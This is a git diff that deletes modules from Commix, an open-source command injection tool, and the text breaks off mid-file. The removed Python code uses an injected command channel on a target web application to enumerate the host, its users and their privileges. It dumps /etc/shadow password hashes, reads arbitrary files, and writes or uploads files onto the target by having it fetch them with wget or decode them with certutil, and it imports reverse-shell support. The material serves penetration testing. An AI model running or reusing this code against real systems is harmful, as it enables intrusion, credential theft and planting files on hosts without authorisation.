alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = cb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = cb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = cb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = cb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + cu_account - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + cu_account + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - # else: - # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": - cmd = "cmd /c " + cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = cb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = cb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print("\n" + settings.print_warning_msg(warn_msg)) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py deleted file mode 100755 index 6f1f75ef28..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ /dev/null @@ -1,239 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.thirdparty.six.moves import urllib as _urllib - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init - -from src.core.requests import requests -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - dest_to_write = path + "\\" + filname - - else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - # Check if defined cookie injection. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py deleted file mode 100755 index b567351bec..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ /dev/null @@ -1,463 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.shells import reverse_tcp -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.classic import cb_payloads -from src.core.injections.results_based.techniques.classic import cb_enumeration -from src.core.injections.results_based.techniques.classic import cb_file_access -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -The "classic" injection technique handler. -""" -def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - no_result = True - is_encoded = False - export_injection_info = False - - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - - i 